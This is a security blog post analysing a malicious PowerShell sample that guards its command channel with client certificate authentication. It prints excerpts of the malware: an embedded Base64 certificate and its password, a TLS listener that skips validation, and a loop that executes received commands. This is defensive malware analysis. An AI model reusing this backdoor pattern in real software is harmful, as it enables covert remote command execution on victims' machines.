Malicious PowerShell Using Client Certificate Authentication
Attackers have many ways to protect their C2 servers from unwanted connections. They can check some specific headers, the user-agent, the IP address location (GeoIP), etc. I spotted an interesting PowerShell sample that implements a client certificate authentication mechanism to access its C2 server. It's VT score is 9/56[1] (SHA256:6d3f45db0a991572a7ac8077e2fd8eec29aad99e7efa6cea5e54186ac1abc488).
The certification is Base64 encoded and protected by the password 'password' (no comment):
$ztgMbBRW99 = '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 =' $QneQGddx99 = 'password'
The implementation is done via System.Security.Cryptography.X509Certificates.X509Certificate2
:
$uSrbSrVp99 = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($ztgMbBRW99), $QneQGddx99) $UAEeAVGa99 = [System.Net.Sockets.TcpListener][int]$port $UAEeAVGa99.start() $dGIDFjCR99 = $UAEeAVGa99.AcceptTcpClient() $pIPCBjOz99 = New-Object System.Net.Security.SslStream $dGIDFjCR99.GetStream(), $false, ({$True} -as [Net.Security.RemoteCertificateValidationCallback]) $pIPCBjOz99.AuthenticateAsServer($uSrbSrVp99, $false, [System.Security.Authentication.SslProtocols]::Tls, $false)
The class x509Certificate2
expects a certificate in PFX or PKCS12 format. Let's try to decode the one present in the script using OpenSSL:
$ openssl pkcs12 -in payload.cert Enter Import Password: MAC verified OK Bag Attributes localKeyID: FB 69 28 8A 7B F7 EB C0 B7 7A EC AE 0A 17 64 A0 A4 17 94 9E subject=/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com issuer=/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com -----BEGIN CERTIFICATE----- MIIDNDCCAhwCCQCW9ShBEcQuFTANBgkqhkiG9w0BAQsFADBcMQswCQYDVQQGEwJV UzEPMA0GA1UECAwGRGVuaWFsMRQwEgYDVQQHDAtTcHJpbmdmaWVsZDEMMAoGA1UE CgwDRGlzMRgwFgYDVQQDDA93d3cuZXhhbXBsZS5jb20wHhcNMTYwODAyMDczODM3 WhcNMTcwODAyMDczODM3WjBcMQswCQYDVQQGEwJVUzEPMA0GA1UECAwGRGVuaWFs MRQwEgYDVQQHDAtTcHJpbmdmaWVsZDEMMAoGA1UECgwDRGlzMRgwFgYDVQQDDA93 d3cuZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDJ c9dMuojBRCSFR3sRofKng2l9jScY/FqdNbkFJcelsa9qqef3LSuCRA082ObKf3sZ OQZgrUocPN0uiV3T14cZjJwFMQDKfWf7hMEV2jFeQQs7bqTEdAPY2D3rtOQXo2w8 JXamXBqXuVP0UnSvhftetHzAfbQ5VZQoH4hmthbFJXehsgNIQpvCW7VFU6+a2npQ 33vVEv0AiGxxXCcJRwKsc2hvg49rPhWETChFr5FhLOS5BIjag5jcLG5BCROYR6wk NsvWvhQd3lnz3Al4tdvUKoCgls+tT467TfGH2mBm3vZpDzOt0GT8qF0tmSERZbsc czBfTfjmikOtnYw7VKTtAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAJX83wuyTekt dUA3C2iucf2PkzlUYhG9xTyoF9hJmI+e9U4NW+Xc8RuRTStiBegRkjCRaTC/A4KC UaeafFzdiEy9QNkU6VFA9ASyQvIqkxoCUHPTfD0gymUtElDjM5yeeBgCO4Jb1oLV 2cGpGR6vgZ/1VcEjR7VpyGuhafFTZQJax0zuKcinh3aKlDYEBg/FUAM6e2sQYPae PElSefgqariBUB6MJbjJQacCKmyHCw3+JHtM+1vdRhBuhwAbrqnfoWtDNik8ZG3T 9o7Eu+/II7noRQFKYOB/OszM2eVxSg6xpoguuHU1HMmm5MmFhziAKbyUy0XJhOVm eXfyG6jQE5I= -----END CERTIFICATE-----
Once the connection is established, the script enters an infinite loop and waits for commands. Data is delivered via JSON objects:
try { $type = ($veAsxeZF99 | ConvertFrom-Json).type $zxrTrFRw99 = ($veAsxeZF99 | ConvertFrom-Json).data $EBZtfXQJ99 = ($veAsxeZF99 | ConvertFrom-Json).sendoutput $ucyYeLLE99 = ($veAsxeZF99 | ConvertFrom-Json).multiple $data = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($zxrTrFRw99)) $extra = ($veAsxeZF99 | ConvertFrom-Json).extra } catch { continue }
The received payload in $data is executed and the output is sent back to the C2.
The fact that the certificate is stored in the script makes the debugging easy but this technique can indeed defeat simple scanners or automated checks!
[1] https://www.virustotal.com/gui/file/6d3f45db0a991572a7ac8077e2fd8eec29aad99e7efa6cea5e54186ac1abc488
[2] https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.x509certificates.x509certificate2?view=net-5.0
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Frankfurt | Dec 9th - Dec 14th 2024 |
Comments
Anonymous
Oct 18th 2021
3 years ago